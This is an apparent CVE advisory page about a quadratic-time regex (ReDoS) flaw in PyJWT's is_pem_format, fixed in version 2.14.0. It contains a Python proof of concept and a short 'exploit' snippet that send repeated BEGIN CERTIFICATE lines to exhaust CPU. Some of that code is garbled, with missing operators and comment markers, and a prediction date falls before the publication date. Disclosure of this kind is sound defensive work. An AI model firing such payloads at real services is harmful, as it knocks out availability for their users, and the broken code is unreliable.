PyJWT, ReDoS, CVE-2026-102270 (Medium) -DC-Sep2026-2659

Listen to this Post

PyJWT is a Python library for encoding and decoding JSON Web Tokens (JWT). The `is_pem_format` function in `jwt/utils.py` is designed to detect whether a given byte string conforms to the Privacy-Enhanced Mail (PEM) format. It does so by compiling a regular expression that searches for a BEGIN marker, followed by a lazy quantifier .+?, and then an END marker. The lazy quantifier attempts to match as few characters as possible before finding the required END sequence. Under normal circumstances, this pattern results in linear time complexity O(N), because the engine advances through the input and stops as soon as it locates a valid END marker. However, an attacker can craft a malicious input consisting entirely of repeated `–BEGIN CERTIFICATE–` lines, with no corresponding `–END` marker anywhere in the payload. When the regex engine processes this input, it first tries to match the initial BEGIN marker, then uses the lazy quantifier to consume lines one by one until it reaches the end of the string. Since no END marker exists, the match fails. The engine then backtracks and advances to the next BEGIN line, repeating the entire scan from that position. This process continues for every BEGIN line in the input, resulting in N separate scans over roughly N characters each. Consequently, the overall complexity becomes O(N²), which is quadratic. As the number of repeated BEGIN lines grows, the CPU time required to evaluate the regex increases dramatically. For example, doubling the number of lines produces approximately four times the runtime, as confirmed by the maintainers. This uncontrolled resource consumption allows an attacker to exhaust CPU cycles on a server that processes attacker-controlled certificate or key bytes through PyJWT’s key preparation routines. The vulnerability is classified as CWE-1333: Inefficient Regular Expression Complexity. The CVSS v3.1 base score is 4.4, rated Medium, with a network attack vector, high attack complexity, high privileges required, and high availability impact. The issue was fixed in PyJWT 2.14.0 by replacing the backtracking PEM regex with a bounded marker scan. The fix commit is 8b4e233a22206b34ec1186e912e75c0b2396ac07.

DailyCVE Form:

Platform: PyJWT
Version: < 2.14.0
Vulnerability: ReDoS
Severity: Medium
date: 2026-09-28

Prediction: 2026-09-11

What Undercode Say:

Install the vulnerable version to reproduce the issue
pip install PyJWT==2.13.0
PoC: Quadratic regex backtracking in is_pem_format
import time
import re
BEGIN_LINE = b"--BEGIN CERTIFICATE--\n"
_PEMS = {
b"CERTIFICATE", b"TRUSTED CERTIFICATE", b"PRIVATE KEY",
b"PUBLIC KEY", b"ENCRYPTED PRIVATE KEY", b"OPENSSH PRIVATE KEY",
b"DSA PRIVATE KEY", b"RSA PRIVATE KEY", b"RSA PUBLIC KEY",
b"EC PRIVATE KEY", b"DH PARAMETERS", b"NEW CERTIFICATE REQUEST",
b"CERTIFICATE REQUEST", b"SSH2 PUBLIC KEY", b"SSH2 ENCRYPTED PRIVATE KEY",
b"X509 CRL",
}
_PEM_RE = re.compile(
b"-[- ]BEGIN ("
+ b"|".join(_PEMS)
+ b""")[- ]-\r?
.+?\r?
-[- ]END \1[- ]-\r?\n?""",
re.DOTALL,
)
def is_pem_format(key: bytes) -> bool:
return bool(_PEM_RE.search(key))
def make_payload(num_headers: int) -> bytes:
return BEGIN_LINE num_headers
def measure(num_headers: int) -> float:
payload = make_payload(num_headers)
start = time.perf_counter()
is_pem_format(payload) returns False, but burns CPU getting there
elapsed = time.perf_counter() - start
print(
f" headers={num_headers:>4} size={len(payload)//1024:>3} KB"
f" time={elapsed1000:>7.1f} ms"
)
return elapsed
for n in (1000, 2000, 4000, 8000):
measure(n)
Run the PoC and observe quadratic time growth
python3 poc_is_pem_format.py

Exploit: (Educational Purposes!)

Craft a malformed PEM-like payload that triggers O(N²) backtracking
payload = b"--BEGIN CERTIFICATE--\n" 10000
Pass the payload to PyJWT's key preparation path
from jwt.utils import is_pem_format
is_pem_format(payload) CPU spins for seconds/minutes depending on N

Protection: from this CVE

  • Upgrade to PyJWT 2.14.0 or later.
  • Enforce strict input length limits on any key or certificate bytes accepted from untrusted sources.
  • Validate token structures at the network perimeter before they reach application logic.
  • Deploy a Web Application Firewall (WAF) capable of detecting abnormal CPU spikes associated with regex processing.
  • Avoid passing attacker-controlled data directly into PEM format detection functions without prior sanitization.

Impact:

The attacker can cause intensive CPU consumption on any application that uses the vulnerable `is_pem_format` function with attacker-controlled certificate or key bytes. This resource exhaustion can degrade or completely halt service availability, effectively creating a denial-of-service condition. In distributed systems, resource exhaustion on one node can lead to cascading failures and affect overall cluster stability. The impact is limited to availability; confidentiality and integrity are not affected.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top